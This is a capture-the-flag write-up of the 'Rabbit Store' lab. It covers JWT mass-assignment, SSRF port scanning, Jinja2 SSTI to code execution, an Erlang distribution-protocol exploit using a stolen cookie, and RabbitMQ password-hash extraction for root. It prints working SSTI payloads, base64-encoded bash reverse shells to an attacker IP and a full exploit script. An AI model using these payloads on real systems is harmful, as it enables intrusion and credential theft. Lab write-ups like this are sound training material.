Rabbit Store
Demonstrate your web application testing skills and the basics of Linux to escalate your privileges. - by iklak
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find four open ports, including port 22
SSH, 80
a web server, 4369
Erlang Port Mapper Daemon, 25672
RabbitMQ.

From our service and script scan we directly find out the domain of the webserver:
http://cloudsite.thm/
We add this in our /etc/hosts
and visit the page. We find a static page with a login.

Since we have a domain given, we use FFuF to search for subdomains and find storage.cloudsite.thm
and add it to our /etc/hosts
file.
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cloudsite.thm/ -H "Host:FUZZ.cloudsite.thm" -fw 18

If we had tried to log in, we would have noticed the subdomain. We click on Signup and create an account.

After we have logged in with our created account, we see that the services are only available for internal users and our newly created account has to be activated by an administrator.

Privileged Web Access
We find a jwt token in our cookies.

We inspect the token using jwt.io and see that the subscription is also defined in it. Unfortunately, changing the token does not help, as the signature would no longer be valid.

We go back one step and create another account and inspect the request using Burp Suite. We see that email and password are transmitted in plain text in JSON.

We simply add the attribute "subscription": "active"
in the hope that this will be taken into account when the token is created and that we have a JWT token forgery vulnerability in front of us.

After we have created the account, we log in and inspect the token. The set attribute of the subscription has indeed been taken into account.

We are now able to use the services. Including a file upload.

However, this does not appear to be vulnerable...

API Docs via SSRF
We noticed the /api/
path during registration and are looking for further API endpoints. We enumerate these using FFuF. Here we find /api/docs
, among others. Perhaps there are others that we cannot find with our wordlist.
ffuf -w /usr/share/wordlists/dirb/big.txt -u 'http://storage.cloudsite.thm/api/FUZZ'

Unfortunately, we do not have access to these.
http://storage.cloudsite.thm/api/docs

If we scroll down a little further we also find an upload via URL. Server side request forgery could be possible here. And perhaps we could then use it to call up http://storage.cloudsite.thm/api/docs
.

Firstly, we test it with our web server.

And see the request made.

Next we try to access the /api/docs
endpoint locally on port 80:
http://127.0.0.1:80/api/docs

We receive an upload path. But port 80 does not seem to be the API endpoint.
http://storage.cloudsite.thm/api/uploads/d7d3e2ef-3e5a-41ca-accf-ec32e184dc53

We use a script to find more services on other ports on localhost. To do this, we simply check whether the requested service gives us a download link.
import requests
# Base URL and endpoint
base_url = "http://storage.cloudsite.thm/api/store-url"
# Headers
headers = {
"Cookie": "jwt=REDACTED",
"Content-Type": "application/json"
}
# Function to make POST request to a specific port
def make_request(port):
# URL to test
test_url = f"http://127.0.0.1:{port}"
data = {"url": test_url}
try:
# Make the POST request
response = requests.post(base_url, headers=headers, json=data)
# Check if the response contains a non-empty "path"
if response.status_code == 200:
json_response = response.json()
if "path" in json_response and json_response["path"]:
print(f"Port: {port}, Path: {json_response['path']}")
except requests.RequestException as e:
# Handle potential request errors
print(f"Error on port {port}: {e}")
# Iterate over a range of ports (1 to 65535)
for port in range(1, 65536):
make_request(port)
And there is another service running on port 3000
.

We make a request for http://127.0.0.1:3000/api/docs
...

... And we recieve the documentation with the endpoint /api/fetch_messeges_from_chatbot
, which is still under development.
http://storage.cloudsite.thm/api/uploads/bcfca7b1-6e8f-49e0-90f7-3db09676f79f
Endpoints Perfectly Completed
POST Requests:
/api/register - For registering user
/api/login - For loggin in the user
/api/upload - For uploading files
/api/store-url - For uploadion files via url
/api/fetch_messeges_from_chatbot - Currently, the chatbot is under development. Once development is complete, it will be used in the future.
GET Requests:
/api/uploads/filename - To view the uploaded files
/dashboard/inactive - Dashboard for inactive user
/dashboard/active - Dashboard for active user
Note: All requests to this endpoint are sent in JSON format.
SSTI to RCE
We try to make a request, but GET methods are not allowed.

We capture our GET request using Burp Suite...

... and change it to a POST request using Burp. We get a message, that the token is required, we removed.

We add the token, and a username parameter is required.

Since the error message is JSON, and we know the format from the login as JSON, we also provide the username in JSON. Our username gets reflected.

We simply test for Server Side Template Injection (SSTI) and it gets evaluated.

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Shell as azrael
Since we have RCE through SSTI, we prepare a reverse shell using revshells.com
.
revshells.com

Next, we prepare our SSTI payload, set up a listener on our desired port and submit the request.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ1IDA+JjE=|base64 -d|bash').read()}}

We get a connection back, and are the user azrael
. We upgrade our shell.

The user flag can be found in the home directory of azrael
.

Shell as rabbitmq
On enumerating the target we also use pspy. It is a command line tool designed to snoop on processes without need for root permissions.
We download and execute the tool.

And there is something going on using Erlang and RabbitMQ. We recall the Nmap scan with the results on 4369
Erlang Port Mapper Daemon, 25672
RabbitMQ.

2024/09/18 17:37:23 CMD: UID=124 PID=28610 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:37:23 CMD: UID=124 PID=28611 | /usr/bin/df -kP /var/lib/rabbitmq/mnesia/rabbit@forge
2024/09/18 17:37:33 CMD: UID=124 PID=28612 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:37:33 CMD: UID=124 PID=28613 | /bin/sh -s unix:cmd
2024/09/18 17:37:43 CMD: UID=124 PID=28614 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:37:43 CMD: UID=124 PID=28615 |
2024/09/18 17:37:53 CMD: UID=124 PID=28616 | /bin/sh -s unix:cmd
2024/09/18 17:37:53 CMD: UID=124 PID=28617 | /bin/sh -s unix:cmd
2024/09/18 17:38:03 CMD: UID=124 PID=28618 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:38:03 CMD: UID=124 PID=28619 | /bin/sh -s unix:cmd
2024/09/18 17:38:13 CMD: UID=124 PID=28620 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:38:13 CMD: UID=124 PID=28621 | /bin/sh -s unix:cmd
2024/09/18 17:38:17 CMD: UID=124 PID=28622 | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt
2024/09/18 17:38:17 CMD: UID=124 PID=28624 | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt
2024/09/18 17:38:17 CMD: UID=124 PID=28623 | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt
2024/09/18 17:38:17 CMD: UID=124 PID=28625 | sed s/.*\///
2024/09/18 17:38:17 CMD: UID=124 PID=28626 | /usr/lib/erlang/erts-12.2.1/bin/erlexec -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt
2024/09/18 17:38:17 CMD: UID=124 PID=28627 | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon
2024/09/18 17:38:17 CMD: UID=124 PID=28628 | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon
2024/09/18 17:38:17 CMD: UID=124 PID=28629 | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon
2024/09/18 17:38:17 CMD: UID=124 PID=28633 | /usr/lib/erlang/erts-12.2.1/bin/beam.smp -- -root /usr/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -boot no_dot_erlang -sname epmd-starter-306439827 -noshell -noinput -s erlang halt
2024/09/18 17:38:18 CMD: UID=124 PID=28650 | sh -c exec inet_gethost 4
2024/09/18 17:38:18 CMD: UID=124 PID=28651 | inet_gethost 4
2024/09/18 17:38:23 CMD: UID=124 PID=28652 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:38:33 CMD: UID=124 PID=28654 | sh -c exec /bin/sh -s unix:cmd
2024/09/18 17:38:33 CMD: UID=124 PID=28655 | /bin/sh -s unix:cmd
2024/09/18 17:38:43 CMD: UID=124 PID=28656 | sh -c exec /bin/sh -s unix:cmd
If we ask ChatGPT about the output we get some more information. It might be related to RabbitMQ and Erlang. RabbitMQ is an open-source message broker that enables applications to communicate using a queue-based messaging system, supporting multiple protocols like AMQP. It is used for distributed systems, event-driven architectures, and microservices to decouple and scale workloads efficiently.
ChatGPT:
This log appears to represent a series of shell commands being executed by the user with UID 124, involving RabbitMQ and the Erlang environment, specifically invoking various Unix shell commands. The frequent appearance of sh -c exec /bin/sh -s unix:cmd suggests the use of shell scripts or commands being run in response to Unix system-level interactions.
Several commands reference Erlang's epmd (Erlang Port Mapper Daemon), which indicates that RabbitMQ (built on top of Erlang) is likely being managed or configured. The sequence where Erlang's beam.smp and epmd are invoked points to RabbitMQ processes being started, stopped, or checked. Additionally, these may involve DNS queries or hostname resolution (inet_gethost commands).
This log suggests the orchestration of processes related to RabbitMQ and possibly diagnostics or system administration tasks within an environment relying heavily on Erlang.
If you’re analyzing this for potential security or performance issues, I’d suggest investigating why multiple sh shells are being spawned and what commands are being passed to the Unix shell to ensure there is no unintended behavior or vulnerability exploitation. Is this part of your current challenge or a live environment
A look into the /etc/passwd
file confirms, that there is the user rabbitmq
.

At /var/lib/rabbitmq/
we can find an erlang cookie.


This cookie might enable us to get RCE via Erlang.
The following repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: shell-erldp.py
.
But we receive errors on running the exploit.

For a fix we use ChatGPT to add verbose debugging and error handling:
#!/usr/bin/env python2
from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl
def rand_id(n=6):
return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'
parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')
args = parser.parse_args()
name = rand_id()
sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)
sock.connect((args.target, args.port))
def send_name(name):
FLAGS = (
0x7499c +
0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
)
return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name
sock.sendall(send_name(name))
data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')
data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge
def send_challenge_reply(cookie, challenge):
m = md5()
m.update(cookie)
m.update(challenge)
response = m.digest()
return pack('!HcI', len(response)+5, 'r', args.challenge) + response
sock.sendall(send_challenge_reply(args.cookie, challenge))
data = sock.recv(3)
if len(data) == 0:
print('wrong cookie, auth unsuccessful')
sys.exit(1)
else:
assert(data == '\x00\x11\x61')
digest = sock.recv(16)
assert(len(digest) == 16)
print('[*] authenticated onto victim')
# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
hdr = f.recv(4)
if len(hdr) != 4: return
(length,) = unpack('!I', hdr)
data = f.recv(length)
if len(data) != length: return
# Remove 0x70 from the head of the stream
data = data[1:]
print("Received data to parse: %s" % data) # Logging the raw data
while data:
try:
(parsed, term) = erl.binary_to_term(data)
if parsed <= 0:
print('Failed to parse Erlang term, raw data: %s' % data)
break
except erl.ParseException as e:
print('ParseException occurred: %s. Data: %s' % (str(e), data))
break
print("Parsed term: %s" % str(term)) # Log parsed term for debugging
yield term
data = data[parsed:]
def encode_string(name, type=0x64):
return pack('!BH', type, len(name)) + name
def send_cmd_old(name, cmd):
data = (unhexlify('70836804610667') +
encode_string(name) +
unhexlify('0000000300000000006400006400037265') +
unhexlify('7883680267') +
encode_string(name) +
unhexlify('0000000300000000006805') +
encode_string('call') +
encode_string('os') +
encode_string('cmd') +
unhexlify('6c00000001') +
encode_string(cmd, 0x6b) +
unhexlify('6a') +
encode_string('user'))
return pack('!I', len(data)) + data
def send_cmd(name, cmd):
# REG_SEND control message
ctrl_msg = (6,
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
erl.OtpErlangAtom(''),
erl.OtpErlangAtom('rex'))
msg = (
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
(
erl.OtpErlangAtom('call'),
erl.OtpErlangAtom('os'),
erl.OtpErlangAtom('cmd'),
[cmd],
erl.OtpErlangAtom('user')
))
new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)
print("Sending command data: %s" % new_data) # Log the command being sent
return pack('!I', len(new_data)) + new_data
def recv_reply(f):
terms = [t for t in erl_dist_recv(f)]
if args.verbose:
print('\nReceived terms: %r' % (terms))
if len(terms) < 2:
print("Error: Unexpected number of terms received")
return None
answer = terms[1]
if len(answer) != 2:
print("Error: Unexpected structure in answer")
return None
return answer[1]
if not args.cmd:
while True:
try:
cmd = raw_input('%s:%d $ ' % (args.target, args.port))
except EOFError:
print('')
break
sock.sendall(send_cmd(name, cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
else:
sock.sendall(send_cmd(name, args.cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
print('[*] disconnecting from victim')
sock.close()
We use the our customized shell-erldp2.py
and are able to get an instable shell.
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED

Next, we prepare a reverse shell payload using revshells.com
.

We set up a listener and issue the command to get a reverse shell.
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ2IDA+JjE= | base64 -d | bash'

We get a connection back and are the user rabbitmq
.

Shell as root
Since we are now the rabbitmq
user, we could issue RabbitMQ commands with rabbitmqctl
. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The .erlang.cookie
is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.

Nevertheless, we can view the rabbit_user.DCD
. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.

Alternatively, we can also correct the permissions of the Erlang cookie, which will be necessary for later use.

When reading up on how RabbitMQ works, we find the rabbit definitions that we can export as admin. Those include the password_hash mentiond in the users file. The idea now is to create an admin user and get the definitions with this user.

Since we have already corrected the authorizations for the Erlang cookie, we can create the user and export the definitions.
rabbitmqctl add_user 0xb0b 0xb0b
rabbitmqctl set_permissions -p / 0xb0b ".*" ".*" ".*"
rabbitmqctl set_user_tags 0xb0b administrator
rabbitmqadmin export rabbit.definitions.json -u 0xb0b -p 0xb0b

In these we find the hash for the root
user.

The following gist shows us how the rabbit password hash is composed.
We only need to decode this base64. Since we only need the SHA-256 hash.
import hashlib
import binascii
hash = 'REDACTED'
def decode_rabbit_password_hash(password_hash):
password_hash = binascii.a2b_base64(password_hash)
decoded_hash = password_hash.hex()
return decoded_hash[0:8], decoded_hash[8:]
print(decode_rabbit_password_hash(hash))
We decode the hash...

... and use that hash to switch user to root
and find the final flag in the root
's home directory.

Last updated
Was this helpful?